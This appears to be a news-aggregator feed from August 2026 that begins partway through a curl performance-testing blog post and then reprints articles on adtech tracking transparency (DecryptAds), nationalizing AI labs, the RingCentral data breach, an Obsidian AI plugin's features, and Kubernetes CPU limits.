As I am a graph addict already since before , and that journey has taught me a little gnuplot , I decided that even while there probably are much better tools and fancy JavaScript things that could be used, I don’t know them and learning them now is an endeavor I rather avoid. So I stick to what I know and can get results with quickly.

A third script is invoked from a crontab every twenty minutes, sets up some variables and invokes the runner script.

Once the basics started to work, I showed my curl friends the early versions and I soon created a new git repository for the code .

It’s live baby

After a little more poking, I soon made my locally produced performance test summary get packaged and automatically transferred to the curl website after each build, and voila, the first public curl performance tests were live and public.

Getting this data available immediate triggered curl developers. It only took hours until we had the first proposed changes to improve some numbers, and soon we had a few merges to that affect. Visibility really helps!

The performance numbers we get are still varying to a certain degree, partially of course because I still use my machine for my daily development things, but also because most of them do real (localhost) networking and that is by its nature a little… varying .

The system builds and runs a new round every twenty minutes and it does that using the latest commits from git. This setup makes it sometimes run many rounds on the same commit and it might also mean that it sometimes updates and get several new commits at once, so it might skip a round for some commits. I might reconsider this design later, but since it is still a twenty minute time window, the number of commits is still limited.

When the script makes multiple build rounds on the same commit, it accumulates the numbers and for the graph it stores the maximum, the median and the minimum value. It helps show the variation per commit and allows us to cram more into the graphs. It is still early days, but there will be a maximum limit to how many commits that can be displayed in a single graph and still be helpful.

HTTP/2 parallel download speed through 261 builds spread over 31 build rounds

Distribution

To help visualize the distribution and data spread per test, I created a separate illustration that shows the minimum, maximum, P25, P75, medium and mean values in a Box-and-Whisker Plot .

A Box-and-Whisker Plot showing the HTTP/2 parallel download speed data distribution.

Changing conditions

An obvious downside with me just storing build logs in files, is that it will not scale up to the millions. I did however decide that I’m not designing this system for that. At least not now.

Performance tests are highly specific and dependent on the exact machine it runs on, the exact third party libraries and their versions that are used, the other components involved in the tests, such as the servers, and more.

I expect that we will change conditions for the tests every once in a while that makes it hard to compare the current numbers with past numbers. Therefore I think the performance test numbers and values are primarily useful in the short term. To help us spot if we land something that subtly and unintentionally degrades something.

Stakes

To detect extremely slow and long-term changes in performance and even making sure we can better survive wiping all the existing build logs etc, I introduced a concept I call stakes . As in a stake pole. A marker. An arbitrary threshold set manually for each specific test. This value can be used to measure performance test results against, now and later. As conditions change and maybe something makes the results go up or down and we are fine with those changes because they are motivated and expected, then we just change the stakes.

If it works out, I might try to have the system automatically detect and maybe highlight tests that deviate too much from its set stake (at least if done in the wrong direction) . It could be a signal that something bad was merged.

Balances

As with everything in life, things are often balanced out. We already ran into this when we eagerly merged several changes to reduce the number of allocations done for a single HTTP download, only to realize that one of the optimizations we did had the side-effect that it expanded the size one of the main structs maybe a little too much…

Improvements in one area might come at an expense in another. With sufficient tests and data we can improve curl for users, and at the same time make sure that our changes don’t come with a cost we are not prepared to pay. Exactly how to make the balance is of course a question we need to deal with, discuss and decide. Possibly for every change we do!

The tests

As I write this, we have 24 tests and a full test round completes in about six minutes on my machine.

We can of course do multiple builds using different hardware, different operating systems, different build options, different third party libraries and different test servers to check more angles of performance, and I am certainly open for and prepared to do that going forward. I will however first let this single-flavor run for a while so that we get more data, get a change to tweak it and make it as usable as possible for curl developers.

As with everything there is no end to what we can make this do. This is a start. I sure we can take it further as we move along. In particular if people join in and help out. Both with ideas and proposals for visualizations, graphs and new tests to add, but also with actual pull-requests and code.

Build volumes and graphs

Over the last year, we have merged, on average, about 10 commits per day. If we keep this pace up and this performance test setup can show 100 build rounds conveniently into a single graph, that is just ten days of development. Probably not enough.

Once we reach one hundred builds or so in the first graphs I need to consider adding separate long term graphs that use select data-points to display data development over a longer time. Some googling told me the Largest-Triangle-Three-Buckets, or LTTB for short, is a fine algorithm to use for this. I now do a separate “long term” graph that “downsamples” the full range down to something that can be shown in a reasonable way. I suppose we will see properly in the future how this works.

Spotting change

The stake thing I mentioned is one way to help us spot gradual performance changes over time. Another googling told me that there’s a Mann-Kendall Test + Sen’s Slope algorithm to use to identify trends in graphs like this and it can be used to plot a trend. It might work as a helper to better identify… yeah, the data trend for each test.

The HTTP/2 parallel download speed trend at a specific moment

Developing

This setup has only existed for a few days. There is lots to do, lots to learn and much more to experiment with.

Your comments, help and pull-requests will be appreciated!

Who’s Tracking You? Use This New Service to Find Out

Krebs
krebsonsecurity.com
2026-08-14 07:24:35
It can be daunting to determine who's responsible for showing ads on the websites we visit, or who's harvesting data from the mobile apps we use every day. That information is already semi-public, but it is not easily parsed and traditionally much of it has remained walled away in the hands of large...
Original Article

It can be daunting to determine who’s responsible for showing ads on the websites we visit, or who’s harvesting data from the mobile apps we use every day. That information is already semi-public, but it is not easily parsed and traditionally much of it has remained walled away in the hands of large advertising platforms. Not anymore: A powerful and free new service called DecryptAds scrapes and correlates this adtech data and makes it simple to quickly learn a great deal about the entities that are tracking you.

A Decryptads summary of the advertising partnerships declared by espn.com.

The newly launched decryptads.com says it is constantly scraping the files that websites and apps make publicly available to disclose the companies that are permitted to run ads or collect user data. These files include:

ads.txt : all of the adtech companies and data brokers that may run ads or harvest data from the site;
app-ads.txt : entities that can harvest data from or display ads on mobile and smart TV apps;
buyers.json/sellers.json : the entities buying, selling or reselling ad inventory for a given site or app.

Zach Edwards is chief research officer for DecryptAds and a threat researcher at the security company Infoblox . Edwards said he and two other founders decided the service was needed because the adtech data in these files is generally only useful when it can be cross-referenced to build a more complete picture of the advertising ecosystem for each website or app.

“It’s an adtech tool but we’re trying to approach adtech from a security perspective,” Edwards said. “It’s really built for a lot of privacy and security use cases that have been dramatically underserved.”

Those use cases, he said, include tracking down the source of malicious ads that try to foist malware on targeted users, identifying ad networks located in adversarial nations, and detecting the fast growing swarms of AI-generated slop websites and apps. And as decryptads.com demonstrates, these potential security and privacy threats are near impossible to detect just by viewing a single apps.txt or app-ads.txt file.

“Supply-chain integrity issues rarely live in a single file,” the site explains . “They show up as broken cross-references between ads.txt, app-ads.txt, and sellers.json files; as cloned declaration sets across unrelated domains; as seller removals that only make sense when viewed across exchanges; and even as supply paths in bid logs that never actually appear in any given publisher’s authorized-seller list.”

A search in DecryptAds for the hugely popular sports network espn.com reveals 143 ad partners and 19 registered data broker domains are listed within its ads.txt and app-ads.txt files. That data broker information is gradually becoming available because four states — California, Oregon, Texas and Vermont — have recently passed laws requiring data brokers to register if they buy or sell data on consumers from those states. DecryptAds reports that almost half of those data brokers are collecting geolocation data from espn.com visitors who aren’t blocking ads, while another three disclose that they collect device fingerprints and sensitive personal information.

A visual representation of the complex ad supply chain declared by espn.com. Image: decryptads.com.

HIGH-RISK AD PARTNERS

DecryptAds also makes it easy to learn the beneficiaries and national origins of the advertising firms lurking in apps and websites, displaying a conspicuous warning when adtech partners of an app or website are based in “geo-risk” areas like China and Russia, or in countries with strong financial and political ties to both — such as Cyprus and the United Arab Emirates (UAE).

According to DecryptAds, espn.com works with four different advertising entities that are based in either Russia, China or the UAE, including the adtech firm Between Digital , which lists a New York address. However, the dossier on Between Digital flags them as a Russian firm, showing that their publisher offers (PDF) are processed through Alfa Bank , Russia’s largest private commercial bank and one of several financial institutions placed under U.S. sanctions in 2022 after Russia invaded Ukraine. KrebsOnSecurity sought comment from both Between Digital and the company’s founder, and will update this story in the event that either replies.

A search for several top U.S. military news websites — including armytimes.com , airforcetimes.com , defensenews.com , navytimes.com , marinecorpstimes.com and federaltimes.com — shows they all allow Between Digital to serve ads and track users, as well as two entities in the UAE and another in the ownership secrecy haven of Panama. DecryptAds reports that Between Digital is collecting ad data on approximately 55,000 partner websites.

The “Geo Risk” section of decryptads.com.

Pivoting on Between Digital’s app-ads.txt file reveals hundreds of domains featuring simple web-based games that are frequently interrupted by ads. Edwards said Between Digital’s own declarations show the company is listed as both a publisher and a reseller on approximately two-thirds of their portfolio.

“It means they are basically playing both sides of the bidding equation, which creates opportunities to direct client spend at your owned and operated properties or client infrastructure, essentially creating opportunities for conflicts of interest,” Edwards told KrebsOnSecurity. “The problem we have right now is that for years we’ve had almost no one policing these ads.txt and app-ads.txt files.”

The Opera Web browser remains quite popular, and probably many users are unaware that since 2016 it has been majority owned and controlled by the Chinese company Kunlun Tech (the operational headquarters of Opera remain in Oslo, Norway).

Opera.com’s profile at DecryptAds identifies 27 registered data brokers collecting information, including 15 adtech partners in the UAE, six in China, three in Cyprus, two in Russia and one each in Hong Kong and Ukraine. DecryptAds makes clear, however, that these companies represent just seven percent of the adtech partners specified in Opera.com’s ads.txt and app-ads.txt files.

LEGAL DOSSIERS

One feature of DecryptAds that sent this author down multiple hours-long research rabbit holes is its Legal Dossier lookup , which takes several minutes for each search but eventually churns out oodles of useful information about who owns a particular domain or app, when it was registered, and any aliases or relationships it may have to adtech companies and other websites or apps.

For example, last month KrebsOnSecurity wrote about researchers from Bitsight who found that an extremely popular line of TV streaming sticks called H96 quietly rent out each user’s Internet connection to strangers. Bitsight also discovered that when these devices aren’t being used to stream pirated video content, they are spoofing themselves as mobile phones clicking ads on AI-generated slop websites .

Bitsight concluded that the same Chinese company that made several of the malicious apps common to all of these H96 streaming sticks — the Fengwo Group — also also ran the network of ads and AI slop websites being clicked on by tens of thousands of these devices that are pretending to be mobile phones.

Examples of ad landing pages linked to the Fengwo Group. These sites were designed to show ads only to H96 devices that were spoofing their device type as mobile phones. Image: Bitsight.

A DecryptAds legal dossier on the (now dormant) Fengwo Group domain name for the AI slop website pictured on the left in the screenshot above ( medicalbeautyhub dot com ) shows it shares a seller ID ( 1674071 ) with a gaming website — giacoloredstones[.]com — which features yet another seller ID ( 103488000 ).

Pivoting on that latter seller ID reveals hundreds of active websites within Russia’s Yandex ad system featuring extremely low-quality games or simple utilities that pepper visitors with ads.

QUIET REMOVALS

Edwards said that when advertising networks suspect a given advertiser is engaged in unauthentic clicks or displaying malicious ads, very often those networks will quietly remove the offender from their list of approved partners without letting anyone else know about their suspicions.

This practice, he said, makes it easier for dodgy adtech firms to avoid accountability and continue victimizing others. To address that visibility gap, DecryptAds features a quiet removals feed that records and correlates all of the sellers.json removals across ad exchanges for the same seller domain or name.

A screenshot of the Quiet Removals Feed at decryptads.com.

“The way the adtech industry works, someone will write a report about ad fraud and only share it with their own clients and they won’t make it public,” Edwards said. “The ban is just removing them from the sellers.json file, but they told nobody. One day it was there, the next it was gone. So if you’re trying to navigate who is suspicious, that’s usually tough to do because there are a lot of adtech companies removing things all at once.”

MALVERTISING AND AI SLOP

Malvertising, the term given to the practice of inserting malicious ads that foist malware or redirect visitors to phishing pages, remains an all-too-frequent occurrence in the modern adtech industry. But Edwards said these malicious ads are far more commonly found now on newly generated AI slop websites than on high traffic destinations that typically employ a variety of technologies and third party tools to quickly flag bad ads.

“None of these slop AI content farms are paying for that kind of protection,” he said. “They’re just signing up the lowest quality partners, and it essentially becomes a greased rail to target the users of those sites with malicious ads. Most malvertising attacks don’t happen on espn.com or huffpost.com, but rather [on] some lower quality content farm and someone just went there because it came up in a search.”

Edwards said the AI slop websites are populated with machine-generated blog posts and images, and cover a wide array of themes from home improvement and decorating to food recipes, hunting, cars and consumer technology. He said organizations that get hit with malicious ads are often at a loss for what to do next, unaware that in most cases the answer is one of the entities listed inside the website’s ads.txt or app-ads.txt file.

“A lot of serious organizations are starting to understand that if we’re not breaking down this ad data, we’re not going to know who’s targeting government people with zero-click payloads on an almost daily basis,” he said.

Edwards maintains that truly getting a handle on the malvertising and AI slop problems will require more data-sharing by the major ad networks. Specifically, he says those platforms do not broadly share what’s known as the “supply chain object” or SCO, structured data attached to each advertising bid request that lets buyers see every seller, reseller and intermediary involved in passing an ad impression from the publisher to the final buyer.

“That SCO tells you who sold it or resold it, and who was the final entity that bought the impression that served that malware payload,” Edwards explained. “You may see the malicious zero-click redirection, but without the supply chain object — which is only served server side — you won’t know who targeted your people with malware and won’t have a way to try and prevent it properly. But if we can encourage the adtech industry to expose that SCO, it will get easier to find the culprit behind any one bad ad.”

DecryptAds also offers an application programming interface (API) that allows researchers to automate queries and integrate the site’s functionality into popular AI platforms.

WHAT CAN YOU DO?

The only sane reaction to the examples described above is to block all online ads outright. This approach is broadly endorsed by security experts because it also makes it more difficult for adtech firms and data brokers to build detailed profiles on you and track your movements around the web and in the real world.

However, much depends on how you normally prefer to browse the Internet, and how much trust you place in third party browser plugins and extensions. For those primarily surfing via a regular desktop or laptop Web browser, uBlock Origin Lite is an excellent free and well-maintained open source option. uBlock Origin also should work with mobile browsers like Firefox, but apparently only on Android-based devices.

Adblock Plus is a decent option for iPhone and iPad users. For power users, Adblock and uBlock Origin both support custom blocking rules from easylist.to , which publishes a frequently updated list that removes most advertisements from webpages.

The well established browser extension NoScript blocks all non-approved Javascript code, and it generally does a fine job blocking most ads from loading. However, script blockers like NoScript may not be suitable for average users who don’t enjoy constantly having to referee which scripts should be allowed to load so that each site displays properly.

More technically inclined/adventuresome readers should strongly consider a hardware approach to blocking ads at the local network level, because that is easily the cheapest, most secure and scalable way to do it. A tiny, low-cost and broadly available computer known as a Raspberry Pi can be turned into a powerful ad blocker for all devices on a local network when fitted with a microSD memory card and a free program called Pi-hole . Once you’ve set it up properly and changed your router’s network settings to use the Pi-hole’s DNS sinkhole and DHCP servers, it should prevent ads from displaying on any devices connected to that network.

Bear in mind that ad blockers often do little to block ads and/or tracking that occurs from within mobile apps that users have chosen to install on their devices. Many websites now push users to install a mobile app, supposedly in order to more fully access and enjoy the site’s services and content. But in my experience, they’re not doing this because the user experience is somehow way better on the app (as LinkedIn tries to convince us non-app users several times a week via email). On the contrary, I find most mobile apps to be horribly designed, annoying, and/or completely unnecessary, and when given the option I will almost always choose to interact with a website or service directly in a Web browser.

No, the cold truth is that big web destinations tend to get pushy with their apps because they make it easier for these companies to keep you on their platforms longer and to collect (and in many cases resell) far more precise data about who, what and where their users are. Also, companies pushing customers the hardest to install mobile apps always seem to liberally opt everyone in to having their data used to train large language models these days. So be cautious about the apps you install on your mobile devices ( including any smart TVs! ), and poke around their listings at DecryptAds if you want to learn more about their privacy practices and any relationships they may have to adtech firms.

If the Markets Reject OpenAI and Anthropic, the US Should Nationalize Them

Schneier
www.schneier.com
2026-08-14 07:03:50
This essay was written with Nathan E. Sanders, and originally appeared in The Guardian. OpenAI, and then Anthropic, were each formed by AI developers who feared unrestrained corporate AI development—specifically, that companies like Google and Meta would steer the technology towards deleteriou...
Original Article

This essay was written with Nathan E. Sanders, and originally appeared in The Guardian .

OpenAI, and then Anthropic , were each formed by AI developers who feared unrestrained corporate AI development—specifically, that companies like Google and Meta would steer the technology towards deleterious, maybe even catastrophically unsafe, outcomes for society. Their founders proclaimed that their new labs, uniquely, could be trusted to develop the technology in humanity’s best interest. But each, in turn, were themselves co-opted by the same market incentives, themselves becoming corporate behemoths zealously guarding future investor value rather than the public interest.

It was only a few weeks ago, in June, when OpenAI and Anthropic each filed for their IPOs and were met with buzz about trillion-dollar valuations. The hype around their valuations is so extreme that many worry about their potential for concentrating wealth on a global scale. In an effort to leave something for the rest of us, some observers have proposed that the federal government seize a share of these companies’ stock to create a US sovereign wealth fund , or redistribute their revenues to produce a dividend for taxpayers.

Now the headlines are about public backlash to AI datacenters and the AI chip giant Nvidia’s slumping stock. The tech and AI giant SpaceX’s newly minted stock price tanked just weeks after its IPO. There are even questions about whether the leading AI labs will ever be sustainably profitable . All of a sudden, the makers of ChatGPT and Claude face strong headwinds as they seek to generate the massive equity assets that once felt all but assured.

In fact, evidence suggests the market itself could reassess that these companies offer nothing of financial value. In that case, perhaps we can return them both to their original purposes. If these AI companies should fail in the financial markets, the US should nationalize them and convert them into national labs operated under democratic control that preserve their benefit to the public interest.

The economics of the big AI labs hardly guarantee a booming return on investment. Frontier AI models are both expensive to train and depreciate within months, when a newer model appears. This means that the payback window to extract profit from them is very narrow. Meanwhile, enterprise clients are getting smart about minimizing AI token usage. Even worse, the models are basically commodities; the best ones largely perform and behave similarly, which depresses prices. Perhaps most importantly, open-source and Chinese competitors— lagging only a few months behind the leading labs in capability—give away for free the kinds of models Anthropic and OpenAI sell.

Even setting aside the model training costs, it’s not clear whether the unit economics of AI as it’s currently conceived will ever be sustainably profitable. Many of these free and open-source models can be run locally: the large ones on private clouds and high-end servers, the smaller ones on anyone’s laptop or even cellphone, putting to question the companies’ exorbitant capital investment in datacenters.

It’s not that OpenAI and Anthropic are not valuable as organizations. They have remarkably talented AI scientists and engineers that are continuously producing innovations driving a global mania for their offerings. These leading labs might not ever be profitable, but their products are doing a lot of good in the world. You may or may not be a user of or believer in their technology, but their staggering, ongoing usage growth suggests that an awful lot of people would be disappointed if the companies simply disappeared.

The problem isn’t the people or the products, it’s the system. As constituted, OpenAI and Anthropic may not be valuable as market equities. If the market assesses they are not capable of producing a growing financial return on investment for shareholders, the companies will collapse.

Maybe private, for-profit is just not the right economic model under which to develop AI. Perhaps OpenAI should be returned to its private non-profit roots, the legacy they fought so hard to change and which Anthropic’s founders spurned . Or possibly both could be reorganized as research centers at universities, returning to academia the scores of high-profile research faculty they have poached .

But a better outcome for society would be to establish public ownership and operation of their product-oriented capabilities. Turn OpenAI and Anthropic into US government agencies producing AI as a public good.

Transitioning the big AI labs into public agencies would require some restructuring. We can separate these companies into two pieces: product innovation and compute operations. The innovation function can be publicly managed, akin to national labs. Congress could provide more rigorous oversight than the kind of unfettered venture capital these labs have recently had access to. The US has a long, successful history of these kinds of institutions, which have produced world-shaping innovations in spaceflight, telecommunications, nuclear power and more. Congress currently manages a $200bn R&D portfolio , within which frontier AI development is, arguably, a glaring gap.

AI operations could be managed as a commodity resource, like public electrical or water utilities: local or regional ownership, nationwide distribution and strict regulation on how they balance fee extraction from ratepayers with raising capital for infrastructure investment. Although AI datacenters are not the same as power or water treatment plants, the US also has a long history of managing national, regional and state supercomputing centers.

Other countries, including Switzerland , Spain and Singapore , are already operating public AI labs. They also have national supercomputing centers already providing public access for running AI models for general use, as do Germany and Australia.

The benefits to the public are clear. Through democratic oversight, the most important AI models could become open, transparent and responsive to the demands of the public rather than private shareholders. They could be aligned to democratic values rather than corporate profits, never taking advertiser money to promote certain brands and training on only appropriately licensed data. And they could be set to focus on the realistic and pro-social goal of maximizing the usefulness of AI to society rather than the fanciful and anti-social goal of supplanting humans with artificial general intelligence.

By emphasizing scientific cooperation rather than corporate competition, we could also reduce the overall resource and environmental cost associated with AI. Instead of perpetually dueling training runs of each companies’ models at ever large scales targeted to fuel investor hype, we could limit AI training resources based on cost and benefit to the public.

What’s in it for the companies themselves and their employees, who sacrifice hypothetical billions in equity by ceding to public ownership? A return to their roots and to their core mission of developing AI safely in the public interest, if they are serious about it. Both companies are theoretically bound through their governance structures to prioritize mission over profit anyway (not that anyone really thinks that’s how they currently operate).

To be clear, we’re not advocating for a golden parachute for the executives or investors, or for continuing the outlandish pay rates of the most highly remunerated AI researchers. If the public is footing the bill, these compensation packages should be aligned to the civil service and those employees not satisfied with that can go elsewhere—if the business models of any remaining private labs still support much higher pay.

While we believe that these companies are unsustainable as private firms, the timeline remains unclear. Their primary investor story is that AI is a race to “artificial general intelligence”—the kind of AI you’re used to from science fiction. The bet seems to be that the two companies can convince enough people that this outcome will turn them a profit, go public, and then make their investors and employees rich before the bubble bursts.

But suppose that the bubble bursts. If the US is smart, it will catch the companies as they fall. Regardless of what the markets think, to the public, they’re too valuable to let die.

Tags: , ,

Posted on August 14, 2026 at 7:03 AM 0 Comments

Sidebar photo of Bruce Schneier by Joe MacInnis.

RingCentral data breach exposed info of 1.6 million accounts

Bleeping Computer
www.bleepingcomputer.com
2026-08-14 06:52:05
The ShinyHunters extortion group stole personal information from 1.6 million RingCentral accounts after hacking the company in July, according to the data breach notification service Have I Been Pwned. [...]...
Original Article

RingCentral

The ShinyHunters extortion group stole personal information from 1.6 million RingCentral accounts after hacking the company in July, according to the data breach notification service Have I Been Pwned.

RingCentral is a cloud-based collaboration and communication platform used by over 600,000 businesses for services such as calling, messaging, and voicemail.

The company disclosed the incident on July 28, revealing that its systems were compromised following what it described as a "sophisticated social engineering campaign."

image

"We have not seen any new unauthorized activity since taking these remediation efforts. To date, this incident has affected data for a limited portion of RingCentral customers, and we are communicating with affected customers directly," it noted .

"If you are not contacted by RingCentral, you are not affected. This incident did not impact the core RingCentral platform, and our services continue to operate without disruption."

Although RingCentral has not attributed the breach to a specific threat actor or hacking group and has yet to share further details on the incident, the ShinyHunters extortion gang claimed responsibility on July 27, claiming they had stolen 623GB of data.

RingCentral entry on ShinyHunters' data leak site
RingCentral entry on ShinyHunters' data leak site (BleepingComputer)

​After the company refused to pay a ransom to have the stolen data destroyed, the cybercrime group leaked a compressed archive containing 280GB worth of files on their dark web leak site.

While a RingCentral spokesperson didn't immediately reply when contacted by BleepingComputer to confirm ShinyHunters' claims, Have I Been Pwned confirmed the link after analyzing the leaked data and said on Thursday that it contained records for 1.6 million accounts , including names, email addresses, phone numbers, and physical addresses.

"In July 2026, the cloud-based business communications platform RingCentral was the target of a ShinyHunters 'pay or leak' extortion campaign," it said.

Although RingCentral has yet to share exactly how the threat actors gained access to its systems, ShinyHunters has claimed breaches at hundreds of Salesforce customers over the past year, saying they've stolen over 1.5 billion records in Salesloft Drift and Salesforce Aura campaigns.

The extortion group was also linked to security breaches at more than a dozen Snowflake customers , as well as various other third-party integration providers .

Most recently, ShinyHunters claimed responsibility for a new series of breaches at over 100 organizations following data-theft attacks that exploited an Oracle PeopleSoft zero-day flaw .

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

Everyone talks about AI agents. This is what one looks from the inside

Hacker News
pssah4.github.io
2026-08-14 06:44:12
Comments...
Original Article

What Vault Operator can do

Most AI tools sit outside your knowledge base and wait for you to copy and paste. Vault Operator lives inside it. It reads your notes, follows the graph that ties them together, picks up your habits, and acts on your behalf.

This page is the short tour. Each section links out to the guide that goes deep.

Prefer to watch? This 7-minute animated explainer walks through the agent from the inside: the loop, the harness with its five gates, tools, skills, and MCP, then one real job crossing every layer.

Inline AI chat in the editor

Available since v3.0.0.

You can run a chat directly on the note you are reading. Select text, press Cmd+Shift+I (Ctrl+Shift+I on Windows and Linux) or right-click and pick "Inline AI chat", and a floating panel opens over the editor. From there you ask a question about the selection, look something up, rewrite, translate, summarize, or extract action items without leaving the note.

When the panel proposes a change to the file, the Änderungen prüfen modal opens first. You review each edit, apply only the ones you want, and the agent writes a checkpoint marker into the chat so you can undo the change later through the same checkpoint system used elsewhere in Vault Operator.

Inline chat guide | Chat interface | Safety and control

Capture sources with block-level provenance

Drop a PDF, web clip, or Office file into the chat. Vault Operator runs a fast triage against your vault's ontology and, if you choose to ingest, walks you through a short dialog before it writes anything.

The resulting sense-making note carries a link at the end of every claim. The link jumps back to the exact block in the source. No more "I have a note about this somewhere" without a path back to where the claim came from.

You drive this from chat in plain language: "Ingest this PDF" runs the quick single-pass capture, "Do a deep ingest of this paper" starts the deep path (triage, topic pick, source markup, sense-making note, backlinks). The five-step deep flow stops at each question and waits for you.

Example prompt: "Deep-ingest this research paper. Focus on the methodology section."

Quick ingest tutorial | Deep ingest tutorial | Knowledge ingest guide | Block-level provenance

Clip web pages into permanent notes

Available since v3.3.6.

Ask the agent to clip an article and it archives the page the way the Obsidian Web Clipper does: the full text converted to Markdown, the images downloaded into your vault with the links rewritten to local embeds, and a header the agent writes on top (frontmatter plus its own summary). This goes further than web_fetch , which reads a page into the conversation, keeps images as remote URLs, and truncates long text. The page URL and every image URL pass the same network guard chain as web_fetch .

Example prompt: "Clip this article into Sources/ and write a short summary into the header: https://example.com/article "

Vault operations | Safety and control

Three-layer memory across sessions

Vault Operator remembers what matters across chats, not only inside one chat.

  • Soul holds long-lived preferences (writing style, project conventions, recurring choices).
  • Facts hold structured statements about people, projects, and topics.
  • History is a searchable transcript of past conversations.

The agent retrieves from all three layers when a new chat starts, and you can mark any note as a memory source so its content stays in scope.

Example prompt: "Summarize this meeting note like last time." (It remembers your preferred format.)

Memory and personalization | How memory works | Mastery and recipes

Find notes by meaning

When you ask "what do I know about X?", Vault Operator does not grep filenames. It searches by meaning over a local semantic index, walks wikilinks and frontmatter, and surfaces connections you may have missed.

The semantic index is opt-in. Turn it on once and pick when it builds: never (default), on startup, or on agent switch. After that, search behaves like a librarian who has read every note.

Example prompt: "Find all notes related to behavioral economics and show me how they connect."

Search by meaning tutorial | Knowledge discovery | How the knowledge layer works

Build Word, Excel, and PowerPoint files (PPTX in beta)

Vault Operator writes .docx , .xlsx , and .pptx files from your vault content.

DOCX and XLSX output is clean and reliable for everyday use. PPTX runs as a single pipeline: the agent first calls plan_presentation to turn your source notes into a constrained outline, then create_pptx builds the deck. PPTX is in beta, treat the output as a draft you finish manually for client-facing decks.

Example prompts: "Turn this note into a Word document with proper headings and a table of contents." "Build a five-slide internal status presentation from my meeting notes."

Office documents guide (beta details) | How the office pipeline works

Keep the vault navigable with Vault Health

Vaults drift. Notes pile up in different folders, related ideas stop linking to each other, tags fork.

Vault Operator runs implicit connection analysis in the background and surfaces note pairs that are semantically close but have no wikilink. The vault health check goes further: it flags orphaned notes, broken links, inconsistent tags, missing backlinks, and "god nodes" (notes with so many connections they become bottlenecks instead of useful hubs). It also compares your folder and tag structure against the topic clusters it detects in the knowledge graph.

Example prompt: "Run a health check on my vault and tell me what needs fixing."

Vault health check | Knowledge discovery

Vault Operator ships an MCP server. Claude Desktop, ChatGPT, Perplexity, Claude Code, and any MCP-compatible client can read your vault, retrieve from the memory layer, and append to your conversation history.

Every external call carries a source_interface tag, so memory and history stay separable per surface. Strict source isolation is off by default. You opt in per surface under Settings > Vault Operator > Agents > Memory if you want a surface walled off from the rest.

You can also point Vault Operator at external MCP servers when you need extra tools.

Example prompt: In ChatGPT: "Recall what my Vault Operator memory says about pricing strategy."

Connectors guide | Unified chat memory | MCP architecture

Discover and use your installed plugins

Vault Operator scans your installed plugins at startup and generates a skill file for each one. It can run Obsidian commands, call plugin APIs, and stitch multiple plugins into one workflow.

Dataview queries, Kanban boards, Templater templates, Tasks, Excalidraw: if you have the plugin installed, the agent can use it.

Example prompt: "Create a Kanban board from the open tasks in my project notes."

Skills, rules, and workflows | How plugin discovery works

Stay in control via the auto-approval surface

Every file change asks for your approval. Every edit creates a snapshot you can undo with one click. The operation log records every step.

Under Settings > Vault Operator > Agents > Auto-approve you decide which categories run silently and which keep asking: read, write, web, vault, plugin API reads, plugin API writes, recipes, and MCP calls. You can also keep "ask every time" everywhere if you want every action to surface.

You pick the AI model. You decide what gets sent to the cloud. If you want zero cloud dependency, run everything locally with Ollama or LM Studio.

No surprises: Vault Operator cannot change a file without showing you the diff first.

Safety and control | How governance works

It learns how you work

When the agent completes a task successfully, it remembers the tool sequence. After a few repetitions, the helper model plans a single deterministic execution from the matching recipe and skips most of the iterative reasoning. The same task drops from eight LLM calls to two, and from hundreds of thousands of tokens to tens.

Mastery and recipes

It delegates complex work

For tasks that span multiple topics, Vault Operator can spawn sub-agents. One can research meeting notes while another searches the web. A third stitches both into a document. Sub-agents run in isolation, each with their own conversation context. The main agent collects and combines their results.

Example prompt: "Compare what my vault says about pricing strategy with the latest market research online, then write a recommendation note."

Multi-agent guide

It runs the right model at the right time

You configure a provider once. Vault Operator discovers its models, sorts them into Budget, Main, and Frontier, and runs the chat loop on Main by default. The consult_flagship tool escalates one synthesis step to Frontier when the agent struggles, capped at three calls per task and 3000 output tokens. Cheap background work (context condensing, fast-path planning, presentation planning, recipe promotion) routes to a separate helper model you pick once.

Choosing a model | Providers reference

What it costs

Vault Operator itself is free and open source. You pay only for the AI model you use.

Option Monthly cost
Google Gemini (free tier) Free
Ollama / LM Studio (local) Free (your hardware)
OpenRouter (cloud) Pay per token, typically $0.50 to $5 per day
Anthropic / OpenAI (direct) Pay per token, typically $1 to $10 per day
GitHub Copilot (subscription) Included with Copilot subscription
ChatGPT Plus / Pro (OAuth) Included with the existing subscription

The cost-aware loop (advisor pattern, helper-model routing, KV-cache alignment, context externalization, prompt slim-down) keeps token use low. On simple search-and-summarize tasks the same workload drops from around 634K tokens to around 60K.

Choosing a model | Token optimization

For the love of god stop using CPU limits in Kubernetes

Hacker News
github.com
2026-08-14 06:41:21
Comments...
Original Article

Platform engineering · analysis

We tested the same app with and without a CPU limit. Same code, same CPU request, same load. The only difference was the limit. Here is what we measured — and how to check it on your own cluster.

TL;DR

  • Remove CPU limits. They freeze your apps many times per second, even when the node has free CPU.
  • Keep CPU requests. Requests are the real protection. They guarantee every app its share.
  • Keep memory limits. Memory is different. A memory limit still protects the node.
  • Faster: tail latency holds up under traffic peaks instead of collapsing, and CPU-bound startup work finishes about 2x sooner (sections 5, 10).
  • Less hardware: most clusters reserve far more CPU than they ever use at peak. Right-sizing requests after dropping limits lets a meaningful share of nodes go (section 10).
  • Cheaper: a worked, illustrative cost model puts this in the tens of thousands of dollars per year per cluster (section 10) — plug in your own prices to get a real number.

In this analysis: 1. Requests vs limits · 2. How throttling works · 3. CFS fair sharing · 4. The worst case · 5. What we measured · 6. Noisy neighbor · 7. When it breaks · 8. One step for .NET · 9. The plan · 10. Outcomes · 11. Q&A · 12. Glossary

Going deeper. This page is the argument. Each claim in it is backed by a longer document, linked inline as you read and collected here:

docs/01-theory.md The cgroup mechanics: cpu.max vs cpu.weight , multi-thread quota burn, and the one configuration where a CPU limit genuinely helps.
docs/02-dotnet.md What a CPU limit does to a .NET runtime: ProcessorCount , ThreadPool starvation, GC heap count, and how a CPU limit causes a memory kill.
docs/03-postgres.md Postgres specifics: why it ignores your quota when sizing itself, and which effects this PoC measured versus merely inferred.
docs/04-objections.md Every counter-argument we met, answered — noisy neighbors, HPA/KEDA, QoS class, multi-tenancy, and when limits are right.
docs/05-cost.md The full cost model, its assumptions, and the memory floor that stops freed cores becoming freed money.
docs/06-rollout.md The staged rollout: six steps, what gates what, and the one-line rollback.
results/ Raw output from the benchmark run, plus the per-scenario reports the numbers below come from.

1. Two settings, two very different jobs

